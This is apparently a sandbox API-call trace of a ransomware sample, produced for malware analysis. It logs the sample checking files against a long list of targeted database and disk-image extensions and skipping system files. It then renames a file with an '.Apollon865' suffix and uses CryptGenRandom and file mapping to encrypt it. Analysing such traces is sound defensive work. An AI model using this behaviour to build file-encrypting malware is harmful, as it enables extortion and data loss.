	[0088.811] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0088.811] lstrlenW (lpString="vmdk") returned 4
	[0088.812] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0088.812] lstrlenW (lpString="rar") returned 3
	[0088.812] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0088.812] lstrlenW (lpString="zip") returned 3
	[0088.812] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0088.812] lstrlenW (lpString="tgz") returned 3
	[0088.812] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0088.812] lstrlenW (lpString="vbox") returned 4
	[0088.812] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0088.812] lstrlenW (lpString="vdi") returned 3
	[0088.812] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0088.812] lstrlenW (lpString="vhd") returned 3
	[0088.812] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0088.812] lstrlenW (lpString="vhdx") returned 4
	[0088.812] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0088.812] lstrlenW (lpString="avhd") returned 4
	[0088.812] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0088.812] lstrlenW (lpString="db") returned 2
	[0088.812] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0088.812] lstrlenW (lpString="db2") returned 3
	[0088.812] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0088.812] lstrlenW (lpString="db3") returned 3
	[0088.812] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0088.812] lstrlenW (lpString="dbf") returned 3
	[0088.812] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0088.812] lstrlenW (lpString="mdf") returned 3
	[0088.812] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0088.812] lstrlenW (lpString="mdb") returned 3
	[0088.812] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0088.812] lstrlenW (lpString="sql") returned 3
	[0088.812] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0088.812] lstrlenW (lpString="sqlite") returned 6
	[0088.812] lstrcmpiW (lpString1="es.url", lpString2="sqlite") returned -1
	[0088.812] lstrlenW (lpString="sqlite3") returned 7
	[0088.812] lstrcmpiW (lpString1="tes.url", lpString2="sqlite3") returned 1
	[0088.812] lstrlenW (lpString="sqlitedb") returned 8
	[0088.812] lstrcmpiW (lpString1="ites.url", lpString2="sqlitedb") returned -1
	[0088.812] lstrlenW (lpString="xml") returned 3
	[0088.813] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0088.813] lstrlenW (lpString="$er") returned 3
	[0088.813] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0088.813] lstrlenW (lpString="4dd") returned 3
	[0088.813] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0088.813] lstrlenW (lpString="4dl") returned 3
	[0088.813] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0088.813] lstrlenW (lpString="^^^") returned 3
	[0088.813] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0088.813] lstrlenW (lpString="abs") returned 3
	[0088.813] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0088.813] lstrlenW (lpString="abx") returned 3
	[0088.813] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0088.813] lstrlenW (lpString="accdb") returned 5
	[0088.813] lstrcmpiW (lpString1="s.url", lpString2="accdb") returned 1
	[0088.813] lstrlenW (lpString="accdc") returned 5
	[0088.813] lstrcmpiW (lpString1="s.url", lpString2="accdc") returned 1
	[0088.813] lstrlenW (lpString="accde") returned 5
	[0088.813] lstrcmpiW (lpString1="s.url", lpString2="accde") returned 1
	[0088.813] lstrlenW (lpString="accdr") returned 5
	[0088.813] lstrcmpiW (lpString1="s.url", lpString2="accdr") returned 1
	[0088.813] lstrlenW (lpString="accdt") returned 5
	[0088.813] lstrcmpiW (lpString1="s.url", lpString2="accdt") returned 1
	[0088.813] lstrlenW (lpString="accdw") returned 5
	[0088.813] lstrcmpiW (lpString1="s.url", lpString2="accdw") returned 1
	[0088.813] lstrlenW (lpString="accft") returned 5
	[0088.813] lstrcmpiW (lpString1="s.url", lpString2="accft") returned 1
	[0088.813] lstrlenW (lpString="adb") returned 3
	[0088.813] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.813] lstrlenW (lpString="adb") returned 3
	[0088.813] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.813] lstrlenW (lpString="ade") returned 3
	[0088.813] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0088.813] lstrlenW (lpString="adf") returned 3
	[0088.813] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0088.813] lstrlenW (lpString="adn") returned 3
	[0088.813] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0088.814] lstrlenW (lpString="adp") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0088.814] lstrlenW (lpString="alf") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0088.814] lstrlenW (lpString="ask") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0088.814] lstrlenW (lpString="btr") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0088.814] lstrlenW (lpString="cat") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0088.814] lstrlenW (lpString="cdb") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0088.814] lstrlenW (lpString="ckp") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0088.814] lstrlenW (lpString="cma") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0088.814] lstrlenW (lpString="cpd") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0088.814] lstrlenW (lpString="dacpac") returned 6
	[0088.814] lstrcmpiW (lpString1="es.url", lpString2="dacpac") returned 1
	[0088.814] lstrlenW (lpString="dad") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0088.814] lstrlenW (lpString="dadiagrams") returned 10
	[0088.814] lstrcmpiW (lpString1=" Sites.url", lpString2="dadiagrams") returned -1
	[0088.814] lstrlenW (lpString="daschema") returned 8
	[0088.814] lstrcmpiW (lpString1="ites.url", lpString2="daschema") returned 1
	[0088.814] lstrlenW (lpString="db-journal") returned 10
	[0088.814] lstrcmpiW (lpString1=" Sites.url", lpString2="db-journal") returned -1
	[0088.814] lstrlenW (lpString="db-shm") returned 6
	[0088.814] lstrcmpiW (lpString1="es.url", lpString2="db-shm") returned 1
	[0088.814] lstrlenW (lpString="db-wal") returned 6
	[0088.814] lstrcmpiW (lpString1="es.url", lpString2="db-wal") returned 1
	[0088.814] lstrlenW (lpString="dbc") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0088.814] lstrlenW (lpString="dbs") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0088.814] lstrlenW (lpString="dbt") returned 3
	[0088.814] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0088.815] lstrlenW (lpString="dbv") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0088.815] lstrlenW (lpString="dbx") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0088.815] lstrlenW (lpString="dcb") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0088.815] lstrlenW (lpString="dct") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0088.815] lstrlenW (lpString="dcx") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0088.815] lstrlenW (lpString="ddl") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0088.815] lstrlenW (lpString="dlis") returned 4
	[0088.815] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0088.815] lstrlenW (lpString="dp1") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0088.815] lstrlenW (lpString="dqy") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0088.815] lstrlenW (lpString="dsk") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0088.815] lstrlenW (lpString="dsn") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0088.815] lstrlenW (lpString="dtsx") returned 4
	[0088.815] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0088.815] lstrlenW (lpString="dxl") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0088.815] lstrlenW (lpString="eco") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0088.815] lstrlenW (lpString="ecx") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0088.815] lstrlenW (lpString="edb") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0088.815] lstrlenW (lpString="epim") returned 4
	[0088.815] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0088.815] lstrlenW (lpString="fcd") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0088.815] lstrlenW (lpString="fdb") returned 3
	[0088.815] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0088.816] lstrlenW (lpString="fic") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0088.816] lstrlenW (lpString="flexolibrary") returned 12
	[0088.816] lstrcmpiW (lpString1="ed Sites.url", lpString2="flexolibrary") returned -1
	[0088.816] lstrlenW (lpString="fm5") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0088.816] lstrlenW (lpString="fmp") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0088.816] lstrlenW (lpString="fmp12") returned 5
	[0088.816] lstrcmpiW (lpString1="s.url", lpString2="fmp12") returned 1
	[0088.816] lstrlenW (lpString="fmpsl") returned 5
	[0088.816] lstrcmpiW (lpString1="s.url", lpString2="fmpsl") returned 1
	[0088.816] lstrlenW (lpString="fol") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0088.816] lstrlenW (lpString="fp3") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0088.816] lstrlenW (lpString="fp4") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0088.816] lstrlenW (lpString="fp5") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0088.816] lstrlenW (lpString="fp7") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0088.816] lstrlenW (lpString="fpt") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0088.816] lstrlenW (lpString="frm") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0088.816] lstrlenW (lpString="gdb") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0088.816] lstrlenW (lpString="gdb") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0088.816] lstrlenW (lpString="grdb") returned 4
	[0088.816] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0088.816] lstrlenW (lpString="gwi") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0088.816] lstrlenW (lpString="hdb") returned 3
	[0088.816] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0088.816] lstrlenW (lpString="his") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0088.817] lstrlenW (lpString="ib") returned 2
	[0088.817] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0088.817] lstrlenW (lpString="idb") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0088.817] lstrlenW (lpString="ihx") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0088.817] lstrlenW (lpString="itdb") returned 4
	[0088.817] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0088.817] lstrlenW (lpString="itw") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0088.817] lstrlenW (lpString="jet") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0088.817] lstrlenW (lpString="jtx") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0088.817] lstrlenW (lpString="kdb") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0088.817] lstrlenW (lpString="kexi") returned 4
	[0088.817] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0088.817] lstrlenW (lpString="kexic") returned 5
	[0088.817] lstrcmpiW (lpString1="s.url", lpString2="kexic") returned 1
	[0088.817] lstrlenW (lpString="kexis") returned 5
	[0088.817] lstrcmpiW (lpString1="s.url", lpString2="kexis") returned 1
	[0088.817] lstrlenW (lpString="lgc") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0088.817] lstrlenW (lpString="lwx") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0088.817] lstrlenW (lpString="maf") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0088.817] lstrlenW (lpString="maq") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0088.817] lstrlenW (lpString="mar") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0088.817] lstrlenW (lpString="marshal") returned 7
	[0088.817] lstrcmpiW (lpString1="tes.url", lpString2="marshal") returned 1
	[0088.817] lstrlenW (lpString="mas") returned 3
	[0088.817] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0088.817] lstrlenW (lpString="mav") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0088.818] lstrlenW (lpString="maw") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0088.818] lstrlenW (lpString="mdbhtml") returned 7
	[0088.818] lstrcmpiW (lpString1="tes.url", lpString2="mdbhtml") returned 1
	[0088.818] lstrlenW (lpString="mdn") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0088.818] lstrlenW (lpString="mdt") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0088.818] lstrlenW (lpString="mfd") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0088.818] lstrlenW (lpString="mpd") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0088.818] lstrlenW (lpString="mrg") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0088.818] lstrlenW (lpString="mud") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0088.818] lstrlenW (lpString="mwb") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0088.818] lstrlenW (lpString="myd") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0088.818] lstrlenW (lpString="ndf") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0088.818] lstrlenW (lpString="nnt") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0088.818] lstrlenW (lpString="nrmlib") returned 6
	[0088.818] lstrcmpiW (lpString1="es.url", lpString2="nrmlib") returned -1
	[0088.818] lstrlenW (lpString="ns2") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0088.818] lstrlenW (lpString="ns3") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0088.818] lstrlenW (lpString="ns4") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0088.818] lstrlenW (lpString="nsf") returned 3
	[0088.818] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0088.818] lstrlenW (lpString="nv") returned 2
	[0088.818] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0088.818] lstrlenW (lpString="nv2") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0088.819] lstrlenW (lpString="nwdb") returned 4
	[0088.819] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0088.819] lstrlenW (lpString="nyf") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0088.819] lstrlenW (lpString="odb") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0088.819] lstrlenW (lpString="odb") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0088.819] lstrlenW (lpString="oqy") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0088.819] lstrlenW (lpString="ora") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0088.819] lstrlenW (lpString="orx") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0088.819] lstrlenW (lpString="owc") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0088.819] lstrlenW (lpString="p96") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0088.819] lstrlenW (lpString="p97") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0088.819] lstrlenW (lpString="pan") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0088.819] lstrlenW (lpString="pdb") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0088.819] lstrlenW (lpString="pdm") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0088.819] lstrlenW (lpString="pnz") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0088.819] lstrlenW (lpString="qry") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0088.819] lstrlenW (lpString="qvd") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0088.819] lstrlenW (lpString="rbf") returned 3
	[0088.819] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0088.819] lstrlenW (lpString="rctd") returned 4
	[0088.819] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0088.820] lstrlenW (lpString="rod") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0088.820] lstrlenW (lpString="rodx") returned 4
	[0088.820] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0088.820] lstrlenW (lpString="rpd") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0088.820] lstrlenW (lpString="rsd") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0088.820] lstrlenW (lpString="sas7bdat") returned 8
	[0088.820] lstrcmpiW (lpString1="ites.url", lpString2="sas7bdat") returned -1
	[0088.820] lstrlenW (lpString="sbf") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0088.820] lstrlenW (lpString="scx") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0088.820] lstrlenW (lpString="sdb") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0088.820] lstrlenW (lpString="sdc") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0088.820] lstrlenW (lpString="sdf") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0088.820] lstrlenW (lpString="sis") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0088.820] lstrlenW (lpString="spq") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0088.820] lstrlenW (lpString="te") returned 2
	[0088.820] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0088.820] lstrlenW (lpString="teacher") returned 7
	[0088.820] lstrcmpiW (lpString1="tes.url", lpString2="teacher") returned 1
	[0088.820] lstrlenW (lpString="tmd") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0088.820] lstrlenW (lpString="tps") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0088.820] lstrlenW (lpString="trc") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0088.820] lstrlenW (lpString="trc") returned 3
	[0088.820] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0088.820] lstrlenW (lpString="trm") returned 3
	[0088.821] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0088.821] lstrlenW (lpString="udb") returned 3
	[0088.821] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0088.821] lstrlenW (lpString="udl") returned 3
	[0088.821] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0088.821] lstrlenW (lpString="usr") returned 3
	[0088.821] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0088.821] lstrlenW (lpString="v12") returned 3
	[0088.821] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0088.821] lstrlenW (lpString="vis") returned 3
	[0088.821] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0088.821] lstrlenW (lpString="vpd") returned 3
	[0088.821] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0088.821] lstrlenW (lpString="vvv") returned 3
	[0088.821] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0088.821] lstrlenW (lpString="wdb") returned 3
	[0088.821] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0088.821] lstrlenW (lpString="wmdb") returned 4
	[0088.821] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0088.821] lstrlenW (lpString="wrk") returned 3
	[0088.821] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0088.821] lstrlenW (lpString="xdb") returned 3
	[0088.821] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0088.821] lstrlenW (lpString="xld") returned 3
	[0088.821] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0088.821] lstrlenW (lpString="xmlff") returned 5
	[0088.821] lstrcmpiW (lpString1="s.url", lpString2="xmlff") returned -1
	[0088.821] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.Apollon865") returned 76
	[0088.821] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.apollon865"), dwFlags=0x1) returned 1
	[0088.824] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.824] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=236) returned 1
	[0088.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.824] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.825] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.825] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.825] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x15c
	[0088.827] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000
	[0088.828] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.829] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.829] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.829] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.829] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.829] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.829] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.829] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.829] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.830] CloseHandle (hObject=0x15c) returned 1
	[0088.830] CloseHandle (hObject=0x9c) returned 1
	[0088.830] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.830] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.830] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.830] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1
	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".") returned 1
	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="..") returned 1
	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="windows") returned -1
	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="bootmgr") returned 1
	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="temp") returned 1
	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="pagefile.sys") returned 1
	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="boot") returned 1
	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="ids.txt") returned 1
	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="ntuser.dat") returned 1
